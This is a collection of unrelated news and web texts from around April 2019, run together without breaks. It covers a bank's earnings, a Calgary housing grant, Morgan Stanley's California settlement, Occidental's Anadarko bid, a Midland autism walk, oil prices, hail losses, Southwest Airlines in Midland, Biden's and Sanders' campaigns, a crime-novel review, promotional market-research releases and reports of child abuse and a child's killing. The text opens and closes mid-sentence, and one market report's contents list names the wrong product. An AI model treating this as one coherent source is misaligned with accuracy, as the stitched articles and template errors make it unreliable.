1.1 billion was stable compared with the first quarter of 2018. We expect a full-year pretax profit increase of 39%, which may look a bit rich considering the flat first quarter. However, we point out that the first quarter of 2018 contributed 31% of pretax profit and the first half of 2018 accounted for 62% of pretax profit. We maintain our narrow moat rating and fair value estimate and believe the shares are undervalued. Group revenue declined 4% year over year as primary market activities in the investment bank collapsed; equity underwriting and debt underwriting declined 44% and 27%, respectively, year on year. Management did indicate that there is a substantial pipeline of deals that should support future revenue growth. The federal government has announced its investment into a new affordable housing complex in Calgary, slated to begin construction soon. The Canada Mortgage and Housing Corporation stated earlier this week that a $9.77-million tranche will serve as funding for the structure to be built at 9 Street S.W. and 5 Avenue S.W. Meanwhile, the site was provided by the City of Calgary through the municipal governments sale program for non-profit land. Banking giant Morgan Stanley will pay $150 million to settle claims that it misled investors including pension funds for California teachers and public employees about the quality of mortgage-backed securities sold during the run-up to the financial crisis. The settlement, announced Thursday by California Attorney General Xavier Becerra, resolves claims that Morgan Stanley concealed the high risk of mortgage bonds sold to the California Public Employees Retirement System (CalPERS) and the California State Teachers Retirement System (CalSTRS) between 2003 and 2007. The banks concealment led to millions of dollars in losses to the pension funds, Becerras office said. Morgan Stanley lied about the risk of its products and put profits over teachers and public employees who relied on its advice, Becerra said. Todays settlement holds Morgan Stanley accountable for misleading Californians who were unfairly blindsided. Our office has recovered over $1 billion from cheaters on Wall Street since the financial crisis. Our work isnt over. Occidental Petroleum Corp.'s $38 billion bid for Anadarko Petroleum Corp. is one of the boldest moves in the 99-year history of a company that has never lacked ambition. While being meet with skepticism from analysts -- who have called the bid "ill-advised" and "a very bad idea" -- the proposal shows the appetite of Chief Executive Officer Vicki Hollub, 59, who took over in 2016 as only the fourth CEO in the company's history and is one of the few women leading a major oil producer. "It is tough to fight a bidding war against a supermajor that is four times larger," Raymond James analysts Pavel Molchanov and Muhammed Ghulam wrote in a note Wednesday. The price of the deal is only about $8 billion less than Occidental's total market value. The move is fitting for a company that for decades was led by larger-than-life characters, including Ray Irani, who was for a time the industry's highest-paid leader, pulling in $80 million in average compensation over several years. He took over from Armand Hammer, who built the company into a sprawling conglomerate with interests as far-flung as film making, horse breeding and meatpacking. Irani's protege and successor, Stephen Chazen, dismantled what was left of the Armand Hammer-era empire, spinning off or selling marquee assets and relocating the company to Houston from Los Angeles. When Hollub succeeded Chazen in early 2016, her stated goal was to continue refining her predecessor's focus on the Permian Basin. In an April 2016 interview at the company's Permian headquarters in Midland, she made no bones about her plans to snap up rivals to expand Occidental's portfolio in what has since become the world's biggest oil field. Buying Anadarko would prevent Occidental from losing its position as the number one producer in the Permian to Chevron, which is currently the second-largest. Hollub said she sees her company being able to reduce well costs for Anadarko's Permian assets by more than 10 percent, and that the deal will boost cash flow while moderating growth. Just hours after Hollub went public with her offer for Anadarko, she revealed in a Bloomberg Television interview that she's been pursuing the explorer since January 2018 -- almost half the time she's been leading the company. "This is a remarkably brave move," Paul Sankey, managing director at Mizuho Securities USA in New York, said in a note Thursday. "Certainly a career move, indeed an epic moment in oil corporate history." Sankey Wednesday called the bid "a very bad idea" and said many of Occidental's largest shareholders are unhappy. Hollub still has some work to do to seal the deal. Anadarko already had Occidental's higher offer in hand when it announced its April 12 deal with Chevron Corp. Occidental has boosted the cash portion of its proposal from 25 percent to 50 percent to make it more attractive, but that hasn't moved Anadarko's board, which said Wednesday it will review the Occidental offer but still recommends Chevron's proposal. Furthermore, breaking up the Chevron merger would mean Anadarko paying a $1 billion termination fee. To pay for the merger, the company will issue about 309 million shares (a little less than half of its current number of shares outstanding) and sell off $10 billion to $15 billion in assets in two years. "The scale and depth of our company combined will allow us to grow production at a lower rate while increasing our dividend and adhering to our strong commitment to capital discipline," Hollub said on a conference call Wednesday. The largest walk in the Permian Basin will hit the decade mark this Saturday. The Autism SHARE Walk at Grande Communications Stadium works to bring awareness to people with all special needs and serves as both a community outreach and fundraiser for the nonprofit SHARE (Sharing Hands, A Respite Experience). The organization provides respite care, counseling, help navigating the medical community, and ongoing caregiver support for parents and siblings. There are more than 7,000 families in the Permian Basin affected by a special need. These families need to know they are loved and supported by the community, SHARE Executive Director Tom Jones said in an email. When we walk together on Saturday, we become part of a larger effort to raise awareness and to assure every family member is supported on their journey. Whether you are walking to know you are not alone or walking to show your support, your participation counts, and you are making a difference. The route is approximately 1 mile in distance. Families, teams and leashed pets are welcome with strollers, buggies and other walking aids permitted. The event will also feature activities for children, sensory rooms and the Resource Fair. With more than 50 local agencies represented, attendees can visit booths at the fair to collect information and meet with staff and volunteers. Exhibitors this year include the Department of State Health Services, Early Childhood Development Center, Area Agency on Aging and Permian Basin Community Center, as well as professionals such as speech, language and behavioral therapists, insurance providers and more. The event will include a commemoration of the last 10 years. We are excited to celebrate the 10-year milestone of walking together. Many lives have been changed as a result, Jones added. The Autism SHARE Walk serves as a reunion for those who met in the early years and a way for families new to the area, or facing a new diagnosis, to learn about local resources and meet others who understand. People gather here from all over west Texas as far as Presidio. This is a testament to the importance of community and building your own system of support. While the walk is free to participate, donations are welcome with all proceeds going to the nonprofit, which will help to provide caregiver support for area families. The event begins with registration and opening ceremonies followed by awards and lunch. Pre-registration is open today onsite from 11:30 a.m. to 1:30 p.m. and from 4:30 to 7 p.m. *** Timeline -- The first walk was held on May 8, 2010, at the Horseshoe Arena with 300 attendees and raised $35,000 for Autism Speaks. --In 2011 and 2012, the event, held in April, began at Mission Fitness and grew to 600 attendees as well as raised $50,000 and $70,000 respectively for Autism Speaks. -- SHARE began its involvement in 2013 which coincided with the Texas Department of State and Health Services autism conference held at Midland Center in April. Participants doubled to 1,200. --With 1,500 registrants, the 2014 walk was held at University of Texas of the Permian Basin and was the first year SHARE was named the recipient of the walks proceeds. --Since 2015, SHARE has hosted the walk at Grande Communications Stadiums. Participants increased to 2,500 and peaked at 4,000. Last year, the event raised its highest amount with more than $112,000. Crude prices sank 2.9 percent Friday as a rally prompted by the end of waivers for some countries to buy Iranian crude were undercut by President Trumps call for OPEC to cut crude prices. Traders also grew less concerned about supply constraints from Russia and Iran. West Texas Intermediate on the New York Mercantile Exchange dropped $1.91 to close at $63.30 per barrel Friday. The posted price fell below $60 a barrel for the first time in about two weeks, dropping $2 to $59.75 a barrel. Tuesdays hail storm in Midland is projected to cause $100 million in insured losses due to the projections of additional claims, according to the Insurance Council of Texas. This is, however, smaller than the $450 million in losses caused by the hailstorm that hit Odessa in 2017. Mark Hanna, manager, public relations for the council, told the Reporter-Telegram by email that vehicle damage accounted for most of that amount for two reasons. Most families have at least two vehicles, and the smaller hail may have caused some cosmetic damage to vehicles but spared roofs, he explained. Thats why it is important to have your insurance adjuster confirm any damage. You dont want to purchase a new roof unless you have to. You will have to come up with a deductible, which can be costly. That is also important in avoiding fraud, he added. Hanna advises asking friends and family to recommend contractors, get multiple written estimates, be wary of door-to-door solicitors, never pay in advance for work and inspect the completed work before paying the contractor. He illustrated the importance of quickly filing a damage claim and having adjusters inspect the damage by offering his personal experience. A few years ago, I had a windstorm inspector from the Texas Department of Insurance as well as an investigator from the departments fraud unit up on my roof to see if they could determine any hail damage. They did not, he recounted. A salesman for a roofing contractor got up on my roof the next day and said I had all kinds of damage. Hanna also counseled patience in having damage repaired, especially for vehicle owners. There are going to be thousands of vehicle owners anxious to get their cars and trucks repaired. The wait for repairs at local body shops may be long. Some of the most influential members of the political and business community from Midland and Odessa put the regions best foot forward with the hope of convincing Southwest Airlines to add a direct flight between Midland and Austin. Speakers, including Nadine Craddick, Lorraine Perryman, James Beauchamp and Ray Perryman, conveyed a message of the regions importance to the Texas and national economy and the expectation of uninterrupted growth for Southwest officials in attendance Wednesday at the Permian Basin Petroleum Museum. Expanded air service was the hope, and Southwest officials brought some good news that an additional flight to both Dallas and Houston can be expected by the end of the year as the number of passengers out of Midland continues to grow. But Wednesday, officials from both communities were overt with their top goal the return of direct service to Austin. Southwest officials were straight forward that the main factors of expanding service revolve around load factors and average fare for a seat. They showed that in 2018, Southwest carried 300,000 passengers out of Midland International. That computes to 815 passengers a day and roughly 66 percent of the seats filled on planes leaving Midland. Currently, Southwest, the leading carrier out of Midland, offers non-stop services to Dallas, Houston and Las Vegas. Economist Ray Perryman delivered a message for Southwest officials on hand that less volatility means less risk for an airline looking to expand service. He said the attention of many in Midlands corporate offices are turning to downstream activities and regulation, which means more trips to Austin are inevitable. Perryman said his projections show that should Southwest offer direct service to Austin it would mean 49,200 to 56,700 passengers immediately and between 96,300 to 106,400 by 2025. He reminded those in attendance of the Permians production rebound from 700,000 barrels a day in 2008 to 4.8 million in 2018 and the expectation of 7.7 million barrels a day by 2025. He said that puts the population inside the Permian Basin in position to grow by 27.3 percent by 2025 something he said is in stark contrast to the 5.1 percent growth in the U.S, the 10 percent growth in Texas and the 7.8 percent growth in the South Plains. He also offered the following message in a power-point presentation: Importance of being the first mover. Currently, Southwest, American Eagle and United offer airline service out of Midland International. Some at the event said there could be smaller companies willing to bring smaller aircraft and service those passengers tired of spending four to five hours in airports and on planes each way. Currently, those travelers must fly to Houston or Dallas before taking a different plane to Austin. Somebody will fill this gap, Perryman said. Ultimately, Southwest officials said flight expansion is a multi-million-dollar bet and their hope is to weigh the risk when making a decision. They reminded those in attendance that with a plane carrying 143 passengers, that is close to 300 passengers each day, seven days a week. They also said matter-of-factly that they could be having the same conservations about service expansion in 100 other cities and getting the same pitch. They also said that pitch would not be as strong as Midlands as exemplified by the addition of new routes to Houston and Dallas. Midland is on the radar, said Dave Harvey, vice president for Corporate Sales. The data is strong. Before even this conversation, we made additions in the Permian in 2019. We would not be doing that if we didnt see additions in the market place. Southwest in Midland - Started in 1977 - Seventh city is southwest system - 298,410 of 581,721 passengers that flew out of Midland International in fiscal year 2018; - 46 local employees - Three non-stop destinations (Dallas, Houston and Las Vegas) Source: Southwest Airlines and city of Midland reports. Southwests non-stop service highlights 1977 Eight flights: Dallas Love (four), Houston Hobby, San Antonio, Harlingen, Corpus Christi 2007 13 flights: Dallas Love (six), Houston Hobby (two), Austin (two), Las Vegas, Albuquerque, El Paso 2012 10 flights: Dallas Love (six), Houston Hobby (two), Las Vegas, Albuquerque 2019 10 Flights: Dallas Love (five), Houston Hobby (four), Las Vegas Source: Midland-Odessa Transportation Alliance WASHINGTON Declaring the "soul of this nation" at stake, former Vice President Joe Biden pushed into the crowded 2020 presidential contest on Thursday and quickly sparked a fierce debate over the direction of the modern-day Democratic Party. Ignoring the political noise in his own party, Biden aimed directly at Donald Trump in an announcement video seizing on the Republican president's response to the deadly clash between white supremacists and counter protesters in Charlottesville, Virginia two years ago. That was the spur for him to launch a third presidential bid, Biden said, noting Trump's comments that there were some "very fine people" on both sides of the violent encounter, which left one woman dead. "We are in the battle for the soul of this nation," Biden declared. "If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation who we are. And I cannot stand by and watch that happen." Yet Biden will get a chance to take on Trump only if he survives a Democratic field that now spans at least 20 contenders. And his party's more liberal wing was far from welcoming in the hours immediately after he declared his candidacy. Justice Democrats, a group created from the remnants of Bernie Sanders' failed 2016 campaign, came out against Biden on Thursday and spent much of the day assailing him on social media. As an older white man with often-centrist views, Biden must now prove he's not out of step with Democrats trying to push the party to the left. He's been taking steps in recent weeks to clean up perceived missteps from his long record in elected office, including his role as a senator in allowing sexual harassment accuser Anita Hill to be grilled by an all-male committee during the Clarence Thomas Supreme Court confirmation hearings. A campaign aide said Biden has privately contacted Hill to share "his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country." But The New York Times reported Thursday that Hill said in an interview she was "deeply unsatisfied" and unconvinced by his apology. Biden has also highlighted his role in authoring the Violence Against Women Act nearly three decades ago, legislation that is credited with reducing domestic violence nationwide. Still, the 76-year-old Scranton-Pennsylvania native's political liabilities are many. He would be the oldest person ever elected president Trump was 70 in 2016 even as his party embraces a new generation of diversity. He's also yet to outline his positions on issues defining the 2020 Democratic primary, most notably "Medicare for All," the universal health care plan authored by Sanders that has been embraced in one form or another by virtually the entire Democratic field. Biden is betting that his working class appeal and ties to Barack Obama's presidency will help him win over skeptics. He quickly racked up endorsements on Thursday morning, becoming the first Democrat running for president with the backing of more than one U.S. senator. Rep. Cedric Richmond, D-La., who previously served as chairman of the Congressional Black Caucus, said he had urged the former vice president to run and highlighted Biden's potential electability when asked to assess African Americans' feelings. "Black voters are saying the same thing that white Democrats are saying: We can't afford to lose. That is a big message. That's a big motivator," Richmond said. Obama has so far declined to endorse Biden, however, and several former Obama aides are now working for other candidates. Biden addressed Obama's position as he briefly faced reporters in Delaware on Thursday. "I asked President Obama not to endorse," Biden said. "Whoever wins this nomination should win it on their own merits." While he didn't endorse, Obama took the unusual step of weighing in on Thursday's announcement. "President Obama has long said that selecting Joe Biden as his running mate in 2008 was one of the best decisions he ever made," Obama spokeswoman Katie Hill said. "He relied on the vice president's knowledge, insight and judgment throughout both campaigns and the entire presidency. The two forged a special bond over the last 10 years and remain close today." Trump was quick to pounce on Biden, who he has nicknamed, "Sleepy Joe." "I only hope you have the intelligence, long in doubt, to wage a successful primary campaign," Trump said. "It will be nasty - you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate." Privately, Trump allies have warned that Biden might be the biggest re-election threat given the former vice president's potential appeal among the white working class in the Midwest, the region that gave Trump a path to the presidency. Biden is paying special attention to his native Pennsylvania, a state that swung to Trump in 2016 after voting for Democratic presidential candidates for decades. While Biden represented Delaware in the Senate for 36 years, he was often referred to as Pennsylvania's third senator. The former vice president will be in the state three times within the opening weeks of his campaign. He'll be in Philadelphia on Thursday evening headlining a fundraiser at the home of David L. Cohen, executive senior vice president of Comcast. Biden was aiming to raise $500,000 at the event. He will hold his first public event as a 2020 presidential candidate in Pittsburgh on Monday. Then it's off to Iowa, home of the leadoff nominating caucuses on Tuesday and Wednesday, followed by two days in South Carolina. He'll visit the other two early-voting states, Nevada and New Hampshire, in early May, before holding a major rally in Philadelphia. Biden's first media appearance is set for Friday morning on ABC's "The View," a move that may help him make an appeal to women whose support will be crucial to winning the primary. He also hired Symone Sanders to serve as a senior strategist, tapping a prominent African American who previously worked for Biden's chief competitor, Bernie Sanders, in the 2016 presidential contest. As Biden neared his campaign launch, his challenges have come into greater focus. He struggled last month to respond to claims that he touched 2014 Nevada lieutenant governor nominee Lucy Flores' shoulders and kissed the back of her head before a fall campaign event. A handful of other women have made similar claims, though none has alleged sexual misconduct. Biden, a former U.S. senator from Delaware, pledged in an online video to be "much more mindful" of respecting personal space but joked two days later that he "had permission" to hug a male union leader before addressing the group's national conference. On another issue he'll have to address throughout the campaign, Biden once played a key role in anti-crime legislation that had a disproportionately negative impact on African Americans. And last month he struggled to explain comments he made as a freshman senator in 1975 about the school busing debate. Despite the challenges, his high-profile status in the race may make it difficult for his competitors. New Jersey Sen. Cory Booker cast Biden's announcement as a direct threat to his own campaign in a fundraising appeal. "The truth is this poses a real challenge for an underdog campaign like ours," Booker said. ___ Beaumont reported from Des Moines, Iowa. Associated Press writer Julie Pace in Washington and Bill Barrow in Atlanta contributed to this report. FORT WORTH -- Democratic presidential hopeful U.S. Sen. Bernie Sanders showed up in Fort Worth on Thursday, saying he believes Texas can go blue in the 2020 presidential race. "I believe we can and will defeat Donald Trump here in Texas," he told a crowd gathered for a rally in downtown's Burnett Park. "Let me tell you why I think we are going to defeat Trump here and ... all over the country. "People understand increasingly he is a pathological liar and a fraud." As a man stood on the sidewalk, booing Sanders and for a short time chanting "Trump, Trump, Trump," Sanders touched on some of his traditional issues, including proposals providing Medicare for all, raising the minimum wage and fighting for working families. "If we stand together, ... and keep our eyes on the prize, there is nothing we cannot accomplish," Sanders said. Sanders also defended his position that even those in jail should have the right to vote. "I think the right to vote is what being an American citizen is all about," he said. "If you commit a terrible crime, you are going to pay the price. But that doesn't mean your right to participate in democracy is taken away from you. "Once you take away someone's right to vote, you are going down a slippery slope." Republicans spoke out against Sanders. "Bernie Sanders seems to get more radical by the week," Christiana Purves, a spokeswoman for the Republican National Committee, said in a statement. "With calls to eliminate private health insurance, give health care to illegal immigrants, allow for the government-takeover of key industries and even give terrorists and sex offenders the right to vote from prison, Sanders' socialist schemes would bankrupt Texas and turn back the clock on progress." Texas has long been considered a crown jewel for Super Tuesday, when, next year, voters in 10 states head to the primary polls on March 3. Distributed by Tribune Content Agency, LLC. the complete review - fiction Bellini and the Sphinx by Tony Bellotto general information | review summaries | our review | links | about the author Portuguese title: Bellini e a esfinge Translated by Clifford E. Landers Bellini e a esfinge was made into a film in 2002, directed by Roberto Santucci - Return to top of the page - Our Assessment: B : fine, light PI tale See our review for fuller assessment. Review Summaries Source Rating Date Reviewer Publishers Weekly . 26/11/2018 . From the Reviews : "(S)tarts off strong but falls flat in its overly familiar execution. (...) (T)he dialogue lacks the sharp grittiness of the hardboiled fiction of Hammett or Chandler -- Bellottos obvious influences -- and the ending feels pulled out of thin air." - Publishers Weekly Please note that these ratings solely represent the complete review 's biased interpretation and subjective opinion of the actual reviews and do not claim to accurately reflect or represent the views of the reviewers. Similarly the illustrative quotes chosen here are merely those the complete review subjectively believes represent the tenor and judgment of the review as a whole. We acknowledge (and remind and warn you) that they may, in fact, be entirely unrepresentative of the actual reviews by any other measure. - Return to top of the page - The complete review 's Review : Bellini and the Sphinx is the first in a series of novels narrated by Remo Bellini. In his early thirties -- he celebrates his thirty-third birthday over the course of the novel --, he had initially followed in his father's footsteps and become a lawyer but abandoned that field and is now a private eye in Sao Paulo, working for Dora Lobo for the past year. He's also been married, but that, too, didn't work out and he's now been divorced for a couple of years. Among his other baggage is his name, which he detests, and the story behind it, his father having named him and his twin brother after the mythical Rome-founding twins, Romulus and Remus -- only for Romulo to die after just two days. Each chapter in Bellini and the Sphinx covers one day, from 17 May through 7 June. The case he is presented with by his boss seems fairly straightforward: a pediatric surgeon, Dr.Rafidjian, is desperate to find a young woman, Ana Cintia Lopes, a dancer at a nightclub who apparently disappeared a few weeks earlier. But there's no trace of her -- indeed, no one recalls anyone by that name. Bellini and a colleague follow up with dancers who left the club around the time in question who might be the missing woman, under a different name -- but things take a turn when Dr.Rafidjian is found brutally murdered. With their client dead there's nothing left to investigate -- for a while. But when his widow hires Dora Lobo they're back on the now expanded case again -- still looking for the mystery woman, and wondering what straight-laced family-man Rafidjian might have been up to. Dora Lobo is particularly pleased to get a chance to investigate this puzzling case -- it's the sort of thing that is right up her alley: "You're going to hit the street looking for hidden connections in Rafidjian's life. Start by finding out what the police learned. Boris will be glad to know we're back. He and I have solved some lovely cases. Difficult, intricate, magnificent case --" "What makes a case magnificent ?" I cut in. "A case that can't be solved by either logic or science. A case solved almost by accident." I don't have any problem with sex. Just the opposite, I love sex. My pain is more serious. Deeper. - M.A.Orthofer, 26 April 2019 - Return to top of the page - : See Index of Mysteries and Thrillers See Index of Latin and South American literature See Index of Portuguese literature - Return to top of the page - About the Author : Brazilian author Tony Bellotto was born in 1960. - Return to top of the page - Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. April 26, 2019: The Global Industrial Coatings Market is estimated to develop at a substantial CAGR in the forthcoming years. Industrial coatings are the dyes and coatings utilized in manufacturing for protecting and appealing drives. Industrial coatings are utilized in an extensive variety of industries, for example building construction, automobile, and electronics. They exist in the form of powder, liquid, pre-treatment and electro coat products. The international Industrial Coatings Market is divided by Type of Technology, Type of Use, and the Area. The liquid coatings subdivision was responsible for the mainstream stake of the industrial coatings market in the past years. The subdivision mainly consists of waterborne and solvent-borne coatings. The markets progress is motivated by the greater inclination toward waterborne coatings. Download sample Copy of This Report at: https://www.radiantinsights.com/research/global-industrial-coatings-market-research-report-2016/request-sample These coatings take little VOC content that has headed to their better acceptance particularly in technologically advanced areas due to strict discharge rules. The market divided by type into powder coatings, liquid coatings, pretreatment, and electro coating. The division of the international Industrial Coatings Market on the source of Type of Use extends machinery, valves, pipes, and additional bulky composite machinery positions. By way of the speedily increasing substructure manufacturing, the division will observe intense progress in the approaching years. The market is divided as Automotive OEMs, Wood coatings, Coil coatings, Automotive refinish, and All-purpose appearances. The division of the international Industrial Coatings Market on the source of Area extends North America, Europe, Asia-Pacific, Middle East & Africa, and South America. View summary of this report @ https://www.radiantinsights.com/research/global-industrial-coatings-market-research-report-2016 By means of geography, the area of Asia Pacific is projected to be the rapidly expanding area in the international industrial coatings market due to speedy industrial development and the prosperous automobile manufacturing in the nations for example India and China. China is the biggest manufacturer along with customer of paints and coatings. The automobile coatings market in the area of Asia Pacific is estimated to develop considerably in the approaching years where India and China are predicted to be the speedily expanding markets for automobile OEM coatings in the area. Moreover, the international automobile OEMs are also concentrating on Thailand, Malaysia, and Indonesia for setting up their manufacturing units owing to promising issues for example government rules ,tax subventions, and inducements. The international industrial coatings market is exceptionally reasonable and disjointed. The international companies direct the market and take an immense geographical existence by means of manufacturing amenities positioned throughout the world. Furthermore, the companies are concentrating on growing their market segments and product collections by unifications and acquirements. They are also stressing on the effectual usage and appropriate use of progressive coatings expertise to increase substantial backing facilities. Some of the important companies operating in the Industrial Coatings Market on the international basis are Sherwin-Williams, PPG Industries, Axalta Coating Systems, AkzoNobel, and BASF. Additional noticeable companies in the industrial coatings market consist of RPM International, Nippon Paint, Sika, Kansai Paint, and Jotun. Burke Industrial Coatings, Chugoku Marine Paints, Aegis Industries, Diamond Vogel. Asian Paints, Hempel, Brillux, Carpoly Chemical Group, Castagra Products, Henkel, Jamestown Coating Technologies, Premium Coatings and Chemicals, KATS Coatings, Masco, Zuelch Industrial Coatings, Weilburger Coatings, Superior Industrial Coating, Tikkurila Oyj, and Yip's Chemical Holdings. About Radiant Insights Radiant Insights is a platform for companies looking to meet their market research and business intelligence requirements. We assist and facilitate organizations and individuals procure market research reports, helping them in the decision making process. We have a comprehensive collection of reports, covering over 40 key industries and a host of micro markets. In addition to over extensive database of reports, our experienced research coordinators also offer a host of ancillary services such as, research partnerships/ tie-ups and customized research solutions. For More Information, Visit Radiant Insights Contact: Michelle Thoras Corporate Sales Specialist, USA Radiant Insights, Inc Phone: 1-415-349-0054 Toll Free: 1-888-202-9519 Email: sales@radiantinsights.com Blog URL: http://chemicalsmarketforecasts.wordpress.com An Alton man will spend nearly three decades behind bars after admitting Wednesday to having sexual contact with a minor after previously being convicted of similar crimes in Macoupin County. Randal E. Bell, 58, pleaded guilty to two counts of criminal sexual assault. Alton Police Department received a report of Bells sexual contact with a minor under the age of 13 on Nov. 20, 2017, and opened an investigation, assisted by the Madison County Child Advocacy Center. During the course of the investigation, authorities learned that Bell had previously been charged with and convicted of predatory criminal sexual assault of a child in Macoupin County, and was sentenced to six years in prison. He will be serving 15 years for each count to which he pleaded guilty Wednesday, to be served consecutively. Bell must serve 85% of that sentence. This plea agreement was reached after consultation with the family and the now-adult victim of the Macoupin County case. The horribly disturbing acts of this defendant violated the trust and sanctity of his victims, States Attorney Tom Gibbons said. This vile person must be locked behind bars and kept there so he can no longer victimize the innocent or inflict anymore harm. This sentence today does just that. The parents of 5-year-old Andrew AJ Freund were charged with murder Wednesday, hours after authorities say they found what they believe is the body of the Crystal Lake boy wrapped in plastic in a shallow grave near Woodstock. JoAnn Cunningham and Andrew Freund both face multiple charges in the death of the boy, who was reported missing by his father a week ago. At a news conference Wednesday announcing the charges, Crystal Lake police Chief James Black said both parents provided information that helped close the case. Black spoke directly to the child after announcing the charges. To AJ, Black said. We know you are at peace playing in heavens playground and are happy you no longer have to suffer. Freund and Cunningham were charged with first-degree murder, aggravated battery, aggravated domestic battery, and failure to report a missing child missing or child death. Freund was also charged with concealment of a homicidal death. Police said both parents gave authorities information about the whereabouts of the boys body after officers analyzed cellphone records and confronted them with that information. Black, who did not take questions from the media, was joined at the news conference by Jeffrey Sallet, special agent in charge of the FBI in Chicago, which had joined the case in recent days. Sallet said his investigators have been out on the case around the clock since AJs disappearance was reported. Nobody was going to sleep and nobody will sleep until justice is brought for AJ, he said, telling reporters the investigation will continue. The cause of the boys death was unknown pending an autopsy. Police have focused on the familys dilapidated Crystal Lake home from the start, telling reporters there was no evidence AJ had been abducted. They said canine teams that only picked up Andrews scent within the residence indicated that Andrew had not walked away on foot. The body was found near Gayle Drive on farmland bounded by woods and a small stream. A neighbor who watches the property for the owner said McHenry County sheriffs deputies knocked on his door early Wednesday and said they were going to begin a search. Other agencies, including the FBI, aided in the search. Luis Maldonado described the area as fairly isolated. Its very quiet, he said. If they found a body here, I dont know how they found this place. Stephanie Diaz crouched in a grassy embankment off the road Wednesday and placed a small bouquet of pink and purple flowers on the ground. The 26-year-old Woodstock resident drives down the street every day to go to Elgin Community College. On her drive to school Wednesday, she saw a large group of police officers spread across the farmland adjacent to Dean Street. Later in the day, she heard the news that AJs body was found yards from her route to school. She stopped on her way home to buy the flowers. Diaz has a son just one month younger than AJ. How could you? Diaz said with tears in her eyes as she got back into her car. Back at the boys home in Crystal Lake, two women kneeled at a makeshift memorial for AJ that included teddy bears and toys left on the front lawn. In back of the house, piles of garbage were visible along with a discarded childs car seat. I came here to bring a flower and pray for that little boy, said Kelly Backer, 38, who lives with her three children in the nearby Crystal Lake Motel. Its too close to home, she said. To do this to a child is totally wrong. Early in the day it seemed clear there were major developments. Around 6 a.m., Cunningham and her lawyer, George Kililis, were at the Crystal Lake police station. About two hours later, Kililis walked out by himself and drove away. Around the same time, an evidence technician and other officers went to the family home and were seen removing a large tub, paper bags, a shovel and a small mattress. Handlers took a dog out of the house. A neighbor said it was Lucy, the familys brown boxer. Blue ribbons remained tied on poles in the neighborhood in support of the missing boy and a sign hung at a neighboring house said pray for A.J. A neighbor who lives across the street from the Freunds house, Janelle Butler, said that she first met the family when the boy and his mom came to her door on Halloween in 2017. AJ had bandages on his face and arm. She thought he was dressed as a mummy, but his mother said he had grabbed a pot of boiling water that day, was burned and went to the hospital for treatment. The boy seemed OK, Butler said, but, Thatll haunt me now forever that I did not call police. Andrew Freund and Cunningham reported AJ missing on Thursday. They told police that AJ was last seen at bedtime about 9 p.m. last Wednesday. When they woke up Thursday, they could not find him and reported it. An attorney for Cunningham said over the weekend that Cunningham had cooperated with police and willingly submitted to a complete body search. Later, however, her attorneys acknowledged they had urged her to stop communication with police when it appeared to them she had become a suspect. Police have called Cunningham uncooperative while noting that the boys father did speak with police detectives. In a recording of AJs father calling 911 to report the boy missing, Freund speaks calmly as he tells police that he returned home from a doctors appointment early Thursday morning and found his son missing after he went to check on him. Before calling police, he said he searched the neighborhood, a local gas station where we sometimes take him to buy treats and a nearby school, where he talked to the principal. He also said he searched everywhere inside the family home. The Illinois Department of Children and Family Services has had involvement with AJ and his family since he was born with opiates in his system in 2013, and the contact has continued on and off through the end of 2018. Until last week, the last contact between DCFS child protection staff and AJs family was in December. AJs younger brother was placed in the care of DCFS last week after AJ was reported missing. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. The Global Hydraulic Powered Hoist Market report includes all the important information regarding the overall Market situation and also reflect the Market condition in terms of driver, restraints, opportunities, demand, supply, challenges, sales, and current trend. This report also contains systematic gathering data on companies involved in the Market, their operations and potential customer base. This report will help to understand legislative trends, changing consumer preferences and where business needs to focus its efforts and resources. In fact, it is a statement that reveals the overall nature of the Market that will assist in making better decision to help business more successful. Download Free Sample Report of Hydraulic Powered Hoist Market Report @ https://www.decisiondatabases.com/contact/download-sample-37413 The following manufacturers are covered in this report: Konecranes (Finland) Cargotec (Finland) Manitowoc (US) Terex (US) Tadano (Japan) Liebherr (Switzerland) Ingersoll Rand (Ireland) Mammoet (Netherlands) ZPMC (China) Kito (Japan) XCMG (China) Zoomlion (China) Columbus McKinnon (US) Hydraulic Powered Hoist Breakdown Data by Type Wire Rope Roller load Chain Welded Link Load Chain Others Hydraulic Powered Hoist Breakdown Data by Application Aerospace and Defense Automotive & Railway Mining Construction Marine Shipping & Material Handling Energy & Power Others Hydraulic Powered Hoist Production by Region United States Europe China Japan Other Regions Access Report and Full Table of Contents of Hydraulic Powered Hoist Market @ https://www.decisiondatabases.com/ip/37413-hydraulic-powered-hoist-industry-market-report Table of Contents-Snapshot 1 Study Coverage 2 Executive Summary 3 Market Size by Manufacturers 4 Double Winding Transformers Production by Regions 5 Double Winding Transformers Consumption by Regions 6 Market Size by Type 7 Market Size by Application 8 Manufacturers Profiles 9 Production Forecasts 10 Consumption Forecast 11 Value Chain and Sales Channels Analysis 12 Market Opportunities & Challenges, Risks, and Influences Factors Analysis 13 Key Findings in the Global Double Winding Transformers Study 14 Appendix More Related Report By DecisionDatanases.com @ Global Hoist Controller Market Insights, Forecast to 2025 About Us: DecisionDatabases.com is a Global business research reports provider, enriching decision makers and strategists with qualitative statistics. DecisionDatabases.com is proficient in providing syndicated research Report, customized research reports, company profiles and industry databases across multiple domains. Our expert research analysts have been trained to map clients research requirements to the correct research resource leading to a distinctive edge over its competitors. We provide intellectual, precise and meaningful data at a lightning speed. For More Details: DecisionDatabases.com E-Mail: sales@decisiondatabases.com Phone: +91-90-28-057900 Web: https://www.decisiondatabases.com/ The Global Dye Fixatives Market report includes all the important information regarding the overall Market situation and also reflect the Market condition in terms of driver, restraints, opportunities, demand, supply, challenges, sales, and current trend. This report also contains systematic gathering data on companies involved in the Market, their operations and potential customer base. This report will help to understand legislative trends, changing consumer preferences and where business needs to focus its efforts and resources. In fact, it is a statement that reveals the overall nature of the Market that will assist in making better decision to help business more successful. Download Free Sample Report of Dye Fixatives Market Report @ https://www.decisiondatabases.com/contact/download-sample-37435 This report focuses on the top manufacturers' Dye Fixatives capacity, production, value, price and market share of Dye Fixatives in global market. The following manufacturers are covered in this report: Jain Chem Vertellus Holdings Weltro International Group Centro Chino Jacquard Products Watson Chemical Jihua Group Runhe Chemical Industry WEILONGJINDA Dye Fixatives Breakdown Data by Type Cationic Polymer Fixing Agent Resin Type Fixing Agent Crosslinking Fixing 